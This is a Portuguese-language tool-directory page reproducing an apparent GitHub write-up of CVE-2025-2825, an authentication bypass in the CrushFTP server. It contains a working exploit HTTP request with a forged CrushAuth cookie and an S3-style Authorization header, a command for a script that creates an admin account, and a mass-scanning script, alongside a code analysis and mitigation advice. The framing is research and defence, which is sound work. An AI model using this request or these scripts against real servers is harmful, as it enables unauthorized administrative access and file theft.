Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-2825 — Análise detalhada e exploit PoC para CVE-2025-2825, uma bypass de autenticação no CrushFTP. Inclui templates nuclei, scanner multi-threaded e script de criação de usuário para testes de penetração. | Kitploit
Ferramentas/GitHubGitHub/iteride/cve-2025-2825
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubiteride/cve-2025-2825

CVE-2025-2825

Análise detalhada e exploit PoC para CVE-2025-2825, uma bypass de autenticação no CrushFTP. Inclui templates nuclei, scanner multi-threaded e script de criação de usuário para testes de penetração.

Ver Repositório
1há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-2825/CVE-2025-31161

Introdução

Este documento apresenta uma pesquisa sobre a vulnerabilidade CVE-2025-2825, que afeta o servidor CrushFTP — uma solução comercial para transferência e armazenamento de arquivos (FTP, SFTP, HTTP/S, interfaces semelhantes ao S3, etc.).

O defeito é classificado como authentication bypass, permitindo que um invasor remoto não autenticado obtenha privilégios de administrador. A exploração bem-sucedida concede acesso com privilégios de crushadmin, visualização e modificação de arquivos, gerenciamento de contas de usuários e execução de operações administrativas através da interface web e API do CrushFTP.

Versões afetadas relatadas (de acordo com avisos públicos e relatórios de pesquisadores):

  • CrushFTP 10.0.0 — 10.8.3
  • CrushFTP 11.0.0 — 11.3.0

⚠️ Nota: em algumas publicações, há duplicatas e sobreposições de identificadores CVE (por exemplo, CVE-2025-31161).


Objetivo do relatório

Analisar passo a passo a vulnerabilidade e demonstrar o ciclo completo de pesquisa, incluindo:

  1. Coleta e análise de materiais — sistematização de avisos, PoCs, análises técnicas e publicações sobre CVE-2025-2825; formulação da essência do defeito e seu impacto.
  2. Definição de CPE e condições — lista de CPE/versões e configurações relevantes nas quais a vulnerabilidade é reproduzida (interfaces web, endpoints compatíveis com S3, etc.).
  3. Desenvolvimento de PoC/Exploit — preparação de um PoC reproduzível em um ambiente controlado; descrição da arquitetura e medidas para minimizar danos.
  4. Métodos de verificação em massa — três abordagens para busca segura de hosts vulneráveis:
    • varredura ativa com nuclei;
    • varredura passiva com nuclei (por versões e sinais indiretos sem exploração);
    • script próprio (Python/Go) para verificação controlada.
  5. Recomendações e mitigação — dicas práticas para detecção, correção e proteção de instâncias.
  6. Prática segura de teste — listas de verificação para realizar testes apenas em ambientes autorizados.

Impacto prático

De acordo com relatórios públicos, a vulnerabilidade tem risco crítico:

  • A exploração concede acesso administrativo à instância do CrushFTP.
  • Consequências: roubo/alteração de arquivos, criação/exclusão de usuários, instalação de backdoors, uso do servidor para ataques adicionais.
  • CVSS é avaliado como crítico (cerca de 9,8).
  • Na comunidade, foram registrados PoCs e sinais de exploração "in the wild".

CPE / Configurações alvo

Instâncias com as seguintes características são críticas:

  • Produto: CrushFTP (qualquer edição com interface web).
  • Versões: 10.0.0 — 10.8.3, 11.0.0 — 11.3.0.
  • Configurações de maior risco:
    • Interface administrativa web pública ativada (HTTP/S).
    • Endpoints de API compatíveis com S3 ativados.
    • Nenhuma medida de segurança adicional (filtragem por IP, 2FA).
    • Configurações incorretas de proxy/balanceadores que tornam endpoints internos acessíveis externamente.

Entendendo a vulnerabilidade

O CrushFTP implementa suporte a uma API semelhante ao S3. Para autenticação, é usado o cabeçalho Authorization no formato:

root@kitploit:~
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

O servidor extrai o AccessKey do Credential e deve verificar a assinatura. No entanto, foi cometido um erro no código ao lidar com a flag lookup_user_pass.

  • Código vulnerável (fragmento simplificado):
root@kitploit:~
// ServerSessionHTTP.java, método loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
    this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
    
    boolean lookup_user_pass = true;   // ← erro crítico
    
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    if (this.thisSession.login_user_pass(
            lookup_user_pass,
            false,
            user_name,
            lookup_user_pass ? "" : user_pass)) {
        // Autenticação bem-sucedida
    }
}
  • Lógica subsequente:

A flag lookup_user_pass é passada diretamente como anyPass:

root@kitploit:~
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
    return user;  // autenticação sem verificação de senha
}

Assim:

  • Se o nome de usuário for fornecido sem o caractere ~, a flag permanece true.
  • A verificação da senha não é executada.
  • O invasor pode autenticar-se fornecendo apenas um nome de usuário existente (por exemplo, crushadmin).
  • Junto com um cookie CrushAuth formalmente válido e o parâmetro c2f, isso permite contornar a autenticação e obter acesso administrativo.

Correção

Na versão 11.3.1 e posteriores, os desenvolvedores:

  • Adicionaram o parâmetro s3_auth_lookup_password_supported (padrão false), bloqueando o cenário vulnerável.
  • Introduziram verificações antecipadas do nome de usuário com ~.
  • Separaram a lógica das flags, eliminando a substituição de lookup_user_pass → anyPass.
  • Recomendação: atualizar imediatamente o CrushFTP para 11.3.1+ ou aplicar a solução alternativa com s3_auth_lookup_password_supported desabilitado.

POC/Exploit

A exploração do CVE-2025-2825 é bastante simples e não requer preparação complexa. O atacante só precisa enviar uma solicitação HTTP especialmente criada, contendo dois elementos principais:

  • Cabeçalho Authorization no formato AWS S3, contendo o nome correto de um usuário existente (campo Credential com AccessKey/username).
  • Cookie CrushAuth no formato esperado e parâmetro c2f na URL/corpo da solicitação, cujos valores correspondem logicamente (o formato do cookie deve corresponder à estrutura esperada pelo servidor).

Se o servidor estiver vulnerável (versão no intervalo 10.0.0—10.8.3 ou 11.0.0—11.3.0 e sem o patch corretivo aplicado), tal combinação faz com que o manipulador de autenticação siga pelo caminho vulnerável, onde a flag de busca de senha (lookup_user_pass) é interpretada como "qualquer senha é aceitável", e o usuário é autenticado apenas pelo nome, sem verificação de senha.

Observação importante:

A exploração dessa vulnerabilidade geralmente requer o envio de duas solicitações sequenciais. A primeira, chamada de solicitação de "aquecimento", aciona o processo de autenticação vulnerável no servidor. Um sinal característico de que o servidor entrou no estado desejado é o recebimento de um erro 502 Bad Gateway ou simplesmente um timeout. Imediatamente após, a segunda solicitação principal é enviada, executando a ação útil (por exemplo, criação de usuário), enquanto o servidor permanece no estado vulnerável ao ataque.

root@kitploit:~
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Para o teste, usei o laboratório recente do HTB — Soulmate, que requer exploração do CrushFTP.

crush

Avançando:

Graças a essa vulnerabilidade, é possível adicionar um novo usuário com direitos de administrador usando o comando setUserItem. Para isso, execute o script new_user.py

root@kitploit:~
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide

Por que isso funciona

  1. Parsing do cabeçalho Authorization: Quando o servidor vê um cabeçalho de autorização no formato S3 (AWS4-HMAC...), ele extrai do campo Credential o identificador do cliente (AccessKey / username). Neste estágio, o servidor obtém uma string que considera ser o nome de usuário — esse valor de identificação é usado posteriormente na lógica de autenticação.

  2. Flag lookup_user_pass e seu papel:

No código, há uma flag booleana lookup_user_pass que deveria indicar de onde obter a senha durante a verificação:

  • No cenário normal, a flag ajuda a decidir: usar a senha fornecida na solicitação ou buscar a senha do repositório de usuários;
  • No entanto, devido a um erro de implementação, essa mesma flag é passada adiante na função de verificação e ali interpretada de forma diferente — como um sinal que permite pular a verificação de senha (essencialmente: "anyPass").
  1. Propagação da flag na cadeia de chamadas: Caminho aproximado: ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...). Na entrada, a flag define o comportamento, e em verify_user ela leva ao retorno precoce do objeto de usuário encontrado sem comparação de senha, desde que o nome corresponda. Isso proporciona a burla da verificação de autenticação — o servidor "reconhece" o usuário pelo nome e o considera autenticado.

  2. Elementos auxiliares (cookie / c2f): Em análises públicas, foi indicado que o manipulador espera um formato correto de cookie/parâmetros para fins de correspondência da solicitação com a sessão/contexto. No entanto, o defeito principal está justamente no erro lógico de tratamento de lookup_user_pass; os outros elementos apenas ajudam a solicitação a passar pelos ramos padrão de processamento.

Causa principal

  • Sobrecarga de significado da flag: a flag que deveria decidir "de onde obter a senha" acabou sendo usada como "permitir qualquer senha". Isso, combinado com o parsing simplificado de Credential, levou a que a presença de um nome de usuário correto fosse suficiente para obter os dados do usuário sem verificação de senha.

Template Nuclei

  • Template passivo:

    Como determinar a versão exata do Crushftp na maioria dos serviços web é impossível, esse template apenas verifica se o serviço usa Crushftp.

    É melhor usar em conjunto com o template ativo passive_nuclei

  • Template ativo:

    O template ativo verifica se o comando getUserList é possível.

    active_nuclei

  • Script multithread

    O script funciona de forma semelhante ao template ativo, mas é muito mais rápido e suporta a verificação simultânea de vários hosts.

    root@kitploit:~
    python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin
    

    scan


Recomendações de correção e proteção

Para reduzir os riscos associados ao CVE-2025-31161, recomenda-se tomar as seguintes medidas:

  1. Atualização imediata:

    • Atualizar todas as instâncias do CrushFTP para a versão 11.3.1 ou superior. Esta é a maneira mais confiável de eliminar completamente a vulnerabilidade.
  2. Aplicação de Workaround (se a atualização não for possível):

    • Na configuração do servidor, definir o parâmetro s3_auth_lookup_password_supported como false. Isso desabilitará a lógica de autenticação vulnerável sem atualizar todo o produto.
  3. Medidas de compensação de risco:

    • Restringir acesso: Usar firewall ou proxy reverso (NGINX, Caddy) para limitar o acesso à interface web do CrushFTP apenas a endereços IP confiáveis (por exemplo, rede corporativa ou VPN).
    • Monitoramento de logs: Analisar regularmente os logs de acesso do CrushFTP em busca de solicitações suspeitas contendo AWS4-HMAC-SHA256 no cabeçalho Authorization, especialmente se você não usa integração S3.
    • Usar Web Application Firewall (WAF): Configurar um WAF para bloquear solicitações com cabeçalhos Authorization anômalos para endpoints que não são destinados à API S3.
Baixar ferramenta